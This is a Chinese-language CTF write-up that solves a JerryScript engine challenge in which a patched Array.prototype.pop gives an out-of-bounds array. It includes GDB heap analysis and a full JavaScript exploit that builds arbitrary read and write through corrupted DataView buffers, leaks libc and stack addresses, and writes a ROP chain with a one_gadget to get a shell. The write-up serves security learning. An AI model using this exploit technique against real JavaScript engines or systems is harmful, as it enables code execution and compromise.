0%

JavaScript pwn+Array OOB

easychain1 复现

1
2
3
4
5
6
7
8
9
10
11
#!/bin/sh

qemu-system-x86_64 \
-m 512M \
-cpu kvm64,+smep,+smap \
-smp 4 \
-kernel ./vmlinux \
-append "console=ttyS0 nokaslr quiet" \
-initrd rootfs.img \
-monitor /dev/null \
-nographic
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/bin/sh

mkdir /tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t debugfs none /sys/kernel/debug
mount -t devtmpfs devtmpfs /dev
mount -t tmpfs none /tmp
mdev -s
/etc/init.d/rcS
ifconfig lo up

echo -e "Boot took $(cut -d' ' -f1 /proc/uptime) seconds"

poweroff -d 120000 -f &
setsid cttyhack setuidgid pwn /pwn

poweroff -d 0 -f
  • 没有加载驱动程序(和常规的 kernel 不太一样)
  • 进入 kernel 后,程序会以 pwn 用户执行 pwn 文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// bad sp value at call has been detected, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int n; // [rsp+0h] [rbp-8018h]
int js; // [rsp+4h] [rbp-8014h]
char buf[16]; // [rsp+8h] [rbp-8010h] BYREF
char v7; // [rsp+18h] [rbp-8000h] BYREF
__int64 v8[512]; // [rsp+7018h] [rbp-1000h] BYREF

while ( v8 != (__int64 *)&v7 )
;
v8[511] = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
printf("pwn> ");
n = read(0, buf, 0x1000uLL);
js = open("./pwn.js", 65);
write(js, buf, n);
system("./jerry ./pwn.js");
return 0;
}
  • 往 pwn.js 输入 JavaScript 脚本,然后用 jerry 解释该脚本

jerryscript 是 JavaScript 轻量级引擎:(专门处理 JavaScript 脚本的虚拟机)

1
2
3
4
5
6
7
__assert_fail(
"source_file_p->type == SOURCE_SCRIPT",
"/home/david/github/jerryscript/jerry-main/main-desktop.c",
0x94u,
"main");

printf("Version: %d.%d.%d%s\n", 3LL, 0LL, 0LL, " (0d496966)");
  • Version: 3.0.0 (0d496966)

源代码地址如下:(Google 搜索 0d496966)

jerryscript 3.0.0 cve 参考:

漏洞分析

可能是魔改源码,可能是 cve,所以我们先 bindiff 一下

1
2
3
4
git clone https://gitee.com/mirrors/jerryscript.git
cd jerryscript
git reset --hard 0d496966
python tools/build.py --build-type=RelWithDebug --strip=off # 带有符号表
  • 不过,如果安装成 DEBUG 版本,在调试的时候会遇到和 V8 一样的 DCHECK,导致我们无法正常调试漏洞
  • 这里,我们可以修改一下源码(jerryscript/jerry-core/jrt/jrt.h):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#define JERRY_ASSERT(x)                                     \
do \
{ \
if (JERRY_UNLIKELY (!(x))) \
{ \
jerry_assert_fail (#x, __FILE__, __func__, __LINE__); \
} \
} while (0)
/* <---------------- @ ----------------> */
#define JERRY_ASSERT(x) \
do \
{ \
if (false) \
{ \
JERRY_UNUSED (x); \
} \
} while (0)
  • 将 DEBUG 版本下的 JERRY_ASSERT 替换成 RELEASE 版本的 JERRY_ASSERT 即可

这个东西折腾了我好久,先是题目解包错误,导致文件 jerry 少了 400KB,后是 bindiff 分析错误,我换了好几个版本的 bindiff 和 IDA,最后发现是中文路径的问题,干

bindiff 分析如下:

1660095791443

  • 说实话这个有点难找,大概 20~30 个函数的相似度都比较接近(可能是编译的问题)
  • 漏洞点在 ecma_builtin_array_prototype_object_pop:(我在网上的 wp 上看的,要是硬要找还真的够呛)

1660097546972

  • 在 IDA 中找到对应的位置:

1660097809707

  • 调用 ecma_delete_fast_array_properties 的参数被修改了(a2-1 -> a2-2

由于原文件没有符号,所以直接用 bindiff 对照断点位置:

1
2
a5ae2: jerryx_print_value /* 在print执行时触发 */
710ab: ecma_builtin_array_prototype_object_pop /* 断点触发时,用'p/x $rdi+0x10'来获取oob数组的地址 */

在开始入侵之前要先了解一些 JavaScript 的知识

Array

Array 的结构体如下:(只挑出了 Array 会使用到的内容)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
typedef struct
{
ecma_object_descriptor_t type_flags_refs;
jmem_cpointer_t gc_next_cp;
union
{
jmem_cpointer_t property_list_cp; /* 数组的存储区域 */
...
} u1;

union
{
jmem_cpointer_t prototype_cp; /* 数组的原型所在位置 */
...
} u2;
} ecma_object_t;

typedef struct
{
ecma_object_t object;
...
union
{
...
struct
{
uint32_t length; /* 数组的长度 */
uint32_t length_prop_and_hole_count;
} array;
} u;
} ecma_extended_object_t;

有几个属性值解释一下:

  • array->object.u1.property_list_cp:数组的存储区域
  • array->object.u2.prototype_cp:数组的原型所在位置
  • array->u.array.length:数组的长度

我们来看一个具体的实例:

1
let a = [1,2,3,4,5,6,7,8]

在 GDB 中查看:

1
2
3
4
pwndbg> x/20xg 0x555555624f30
0x555555624f30: 0x0056005c00560014 0x000000ec00000008
0x555555624f40: 0x0000002000000010 0x0000004000000030
0x555555624f50: 0x0000006000000050 0x0000008000000070
  • property_list_cpprototype_cp 的值分为 0x5c0x56,它们在取值的时候,会调用一个函数 jmem_decompress_pointer 进行转换
  • 而 array 的寻址方式就是 jerry_globals_heap + array->u1.property_list_cp << 3(其他的条目同理),通过这种方法,就能够减小内存开销(其实就有点像 shadow memory)

ArrayBuffer 和 DataView

ArrayBuffer 对象用来表示通用的、固定长度的原始二进制数据缓冲区

ArrayBuffer 不能直接操作,而是要通过类型数组对象或 DataView 对象来操作,它们会将缓冲区中的数据表示为特定的格式,并通过这些格式来读写缓冲区的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
typedef struct
{
ecma_extended_object_t extended_object; /* 扩展对象部分 */
void *buffer_p; /* 指向数组缓冲区对象的后备存储的指针 */
void *arraybuffer_user_p; /* 传递给免费回调的用户指针 */
} ecma_arraybuffer_pointer_t;

typedef struct
{
ecma_extended_object_t header; /* 头部分 */
ecma_object_t *buffer_p; /* [ViewedArrayBuffer]内部槽 */
uint32_t byte_offset; /* [ByteOffset]内部槽 */
} ecma_dataview_object_t;

ArrayBuffer 和 DataView 这两个对象在 JavaScript 引擎漏洞挖掘中经常出现

这里,我们注意到:

  • ArrayBuffer 的结构体存在 buffer_p 这样的一个指针,它直接指向了 ArrayBuffer 所控制的内存区域(而不是像其他对象那样,通过偏移计算来得到所控制的内存区域)
  • DataView 的结构体中,buffer_p 则是指向 ArrayBuffer->buffer_p

Array Out-Of-Boundary(数组越界)

数组索引的边界检查是防止数组访问越界的有效手段,但是对数组索引的边界检查是比较耗时的,因此 JIT 引擎为了提高 Javascript 代码运行效率,对数组的边界检查在一定条件下进行了优化

Bound Check Optimize(边界检查优化)主要分为 Bound Check Elimination(绑定检查消除)和 Bound Check Hoist(绑定检查提升)两部分,错误的 Elimination 或者 Hoist 都会引发 Array Out-Of-Boundary (OOB) 漏洞

我们现在回到程序的漏洞点:

  • ecma_delete_fast_array_properties 的第二个参数改为 len - 2
  • 如果 len 的值为 “1”,就会被减为 “-1”,发生符号溢出

案例如下:

1
2
3
a = [1]; /* len=1 */
a.pop(); /* 触发ecma_delete_fast_array_properties,导致len=-1 */
print(a.length);
1
2
3
➜  pwn ./jerry ./pwn2.js 
4294967295 /* 0xffffffff -> len=-1 */
[1] 9011 segmentation fault ./jerry ./pwn2.js
  • 触发 Array OOB

参考:Chakra漏洞调试笔记4——Array OOB

入侵思路

完整的 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
function hex(i){return "0x" + i.toString(16).padStart(16, '0');}
function aar(addr, dv1, dv2){
dv1.setBigUint64(0, addr, true);
if(dv2.buffer){
return dv2.getBigUint64(0, true);
}
return 0;
}
function aaw(addr, value, dv1, dv2){
dv1.setBigUint64(0, addr, true);
dv2.setBigUint64(0, value, true);
}
let a = [0x31];
a1 = new ArrayBuffer(0x1000);
d1 = new DataView(a1);
d1.setUint32(0, 0x41414141, true);
a2 = new ArrayBuffer(0x1000);
d2 = new DataView(a2);
d2.setUint32(0, 0x42424242, true);
a.pop();
a[0x2c] = 0x5562526;
puts_got = Number(aar(0x555555621e08, d1, d2));
libc_base = puts_got - 0x84420;
environ = libc_base + 0x1ef600;
stack = Number(aar(environ, d1, d2));
libc_start_main_ret = stack - 0x108;
libc_start_main = Number(aar(libc_start_main_ret, d1, d2));
aaw(libc_start_main_ret, 0x555555554000 + 0xa9a9, d1, d2); // pop r12, rbp
aaw(libc_start_main_ret + 8, 0, d1, d2);
aaw(libc_start_main_ret + 16, 0, d1, d2);
aaw(libc_start_main_ret + 24, libc_base + 0xe3afe, d1, d2); // one_gadget
print(hex(puts_got));
print(hex(libc_base));
print(hex(stack));
print(hex(libc_start_main));
print(hex(Number(aar(0x555555624000, d1, d2))));
  • 因为这些函数和变量都会改变堆布局,所以我直接调试 exp

ecma_builtin_array_prototype_object_pop(710ab)打断点,然后使用 p/x $rdi+0x10 命令就可以把发生 OOB 的数组 a 给打印出来:

1
2
3
4
5
6
7
8
pwndbg> p/x $rdi+0x10
$1 = 0x555555624f80
pwndbg> x/20xg 0x555555624f80-0x10
0x555555624f70: 0x005e0064005e0014 0x000000ecffffffff /* length */
0x555555624f80: 0x0025000000c80038 0x0000000100200004
0x555555624f90: 0x0000000000000000 0x42d5555558878200
0x555555624fa0: 0x0025006e00620018 0x0000000100000012
0x555555624fb0: 0x000003c300587d37 0x012f007200000343
  • property_list_cpprototype_cp 的值分为 0x640x5e

然后在 jerryx_print_value(a5ae2)打断点,执行到 print(a.length) 前停下,打印两个 DataView 对象的位置:

1
2
3
4
5
6
7
8
9
pwndbg> search -s AAAA
[heap] 0x5555556257b0 0x41414141 /* 'AAAA' */
pwndbg> search -t qword 0x5555556257b0
[heap] 0x555555625030 0x5555556257b0

pwndbg> search -s BBBB
[heap] 0x5555556267b0 0x42424242 /* 'BBBB' */
pwndbg> search -t qword 0x5555556267b0
[heap] 0x555555625260 0x5555556267b0
  • a1->buffer_p(0x5555556257b0):AAAA
  • d1->buffer_p(0x555555625030):0x5555556257b0
  • a2->buffer_p(0x5555556267b0):BBBB
  • d2->buffer_p(0x555555625260):0x5555556267b0

如果我们想利用 a 的溢出点,必须先知道 jerry_global_heap 才能计算 property_list_cp ,而源程序没有符号表,我们只能通过对比源程序和我们自己编译的程序来获取这个值:(不知道的偏移都可以利用这个方法来解决)

1
2
3
4
5
6
7
pwndbg> telescope 0x55555566a000+0x17b0
00:00000x55555566b7b0 (jerry_global_heap+2896) ◂— 0x42424152 /* 'RABB' */
01:00080x55555566b7b8 (jerry_global_heap+2904) ◂— 0x0
pwndbg> telescope 0x55555566b7b0-2896
00:00000x55555566ac60 (jerry_global_heap) ◂— 0x8e8
01:00080x55555566ac68 (jerry_global_heap+8) ◂— 0x20010800be0031 /* '1' */
02:00100x55555566ac70 (jerry_global_heap+16) ◂— 0x100000066 /* 'f' */
1
2
3
4
5
6
7
pwndbg> telescope 0x555555624000+0x17b0
00:00000x5555556257b0 ◂— 0x41414141 /* 'AAAA' */
01:00080x5555556257b8 ◂— 0x0
pwndbg> telescope 0x5555556257b0-2896
00:00000x555555624c60 ◂— 0x658
01:00080x555555624c68 ◂— 0x2000d500be0031 /* '1' */
02:00100x555555624c70 ◂— 0x100000066 /* 'f' */

根据公式 jerry_globals_heap + array->u1.property_list_cp << 3 进行计算:

1
2
In [25]: hex(0x555555624c60+(0x64<<3))
Out[25]: '0x555555624f80'

修改前:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
pwndbg> telescope 0x555555624f80
00:00000x555555624f80 ◂— 0x8800000310
01:00080x555555624f88 ◂— 0x8800000088
... ↓ 2 skipped
04:00200x555555624fa0 ◂— 0x25006e00620018
05:00280x555555624fa8 ◂— 0x100000012
06:00300x555555624fb0 ◂— 0x3c300587d37 /* '7}X' */
07:00380x555555624fb8 ◂— 0x12f007200000343
08:00400x555555624fc0 ◂— 0x20000000680011
09:00480x555555624fc8 ◂— 0x100000040 /* '@' */
0a:00500x555555624fd0 ◂— 0x10000078c8
0b:00580x555555624fd8 ◂— 0x10a01a900000363
0c:00600x555555624fe0 ◂— 0xe40c292c0000002b /* '+' */
0d:00680x555555624fe8 ◂— 0x605040477616100
0e:00700x555555624ff0 ◂— 0x1c24b8a70000002b /* '+' */
0f:00780x555555624ff8 ◂— 0x100f0e0e0d316101
10:00800x555555625000 ◂— 0x881d13e60000002b /* '+' */
11:00880x555555625008 ◂— 0x1c1b1a1a19316401
12:00900x555555625010 ◂— 0xb400b20074008b
13:00980x555555625018 ◂— 0xd300d000cd0076 /* 'v' */
14:00a0│ 0x555555625020 ◂— 0x6c0000006c0012
15:00a8│ 0x555555625028 ◂— 0x100000000319
16:00b0│ 0x555555625030 —▸ 0x5555556257b0 ◂— 0x41414141 /* 'AAAA' */
17:00b8│ 0x555555625038 ◂— 0x0

修改后:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
pwndbg> telescope 0x555555624f80
00:00000x555555624f80 ◂— 0x25000000c80018
01:00080x555555624f88 ◂— 0x100200004
02:00100x555555624f90 ◂— 0x0
03:00180x555555624f98 —▸ 0x5555556253b8 —▸ 0x555555625168 —▸ 0x5555556253b0 —▸ 0x5555556253c0 ◂— ...
04:00200x555555624fa0 ◂— 0x25006e00620018
05:00280x555555624fa8 ◂— 0x100000012
06:00300x555555624fb0 ◂— 0x3c300587d37 /* '7}X' */
07:00380x555555624fb8 ◂— 0x12f007200000343
08:00400x555555624fc0 ◂— 0x20000000680011
09:00480x555555624fc8 ◂— 0x100000040 /* '@' */
0a:00500x555555624fd0 ◂— 0x10000078c8
0b:00580x555555624fd8 ◂— 0x10a01a900000363
0c:00600x555555624fe0 ◂— 0xe40c292c0000002b /* '+' */
0d:00680x555555624fe8 ◂— 0x605040477616100
0e:00700x555555624ff0 ◂— 0x1c24b8a70000002b /* '+' */
0f:00780x555555624ff8 ◂— 0x100f0e0e0d316101
10:00800x555555625000 ◂— 0x881d13e60000002b /* '+' */
11:00880x555555625008 ◂— 0x1c1b1a1a19316401
12:00900x555555625010 ◂— 0xb400b20074008b
13:00980x555555625018 ◂— 0xd300d000cd0076 /* 'v' */
14:00a0│ 0x555555625020 ◂— 0x6c0000006c0012
15:00a8│ 0x555555625028 ◂— 0x100000000319
16:00b0│ 0x555555625030 —▸ 0x555555625260 —▸ 0x7fffffffde60 —▸ 0x7ffff7ea2afe (execvpe+638) ◂— mov rdx, r12
17:00b8│ 0x555555625038 ◂— 0x0

这个 a[0x2c] 对应的地址就是 0x555555625030

1
2
pwndbg> telescope 0x555555624f80+0x4*0x2c
00:00000x555555625030 —▸ 0x555555625260 —▸ 0x7fffffffde60 —▸ 0x7ffff7ea2afe (execvpe+638) ◂— mov rdx, r12
  • 0x5555556257b0a1->buffer_p)被修改为了 0x555555625260d2->buffer_p
  • 这下 a1->buffer_pa2->buffer_p 都指向 d2->buffer_p,就可以实现 WAA 和 RAA 了

最后的问题就是 WAA 和 RAA 的实现:

1
2
3
4
5
6
7
8
9
10
11
function aar(addr, dv1, dv2){
dv1.setBigUint64(0, addr, true); /* 先写入一个地址 */
if(dv2.buffer){
return dv2.getBigUint64(0, true); /* 返回该地址中的数据 */
}
return 0;
}
function aaw(addr, value, dv1, dv2){
dv1.setBigUint64(0, addr, true); /* 先写入一个地址 */
dv2.setBigUint64(0, value, true); /* 再向这个地址中写入数据 */
}

最后就是用 WWR 从 environ 中读出栈地址,然后在 libc_start_main 的返回值上构造 ROP 链,最后执行 one_gadget

PS:在交互时需要把 \n 去掉,还有注释也要去掉

小结:

调了好多天终于弄好了,现在对这种 JavaScript 引擎的题目应该是有所了解了,主要就是靠 ArrayBuffer 和 DataView 这两个函数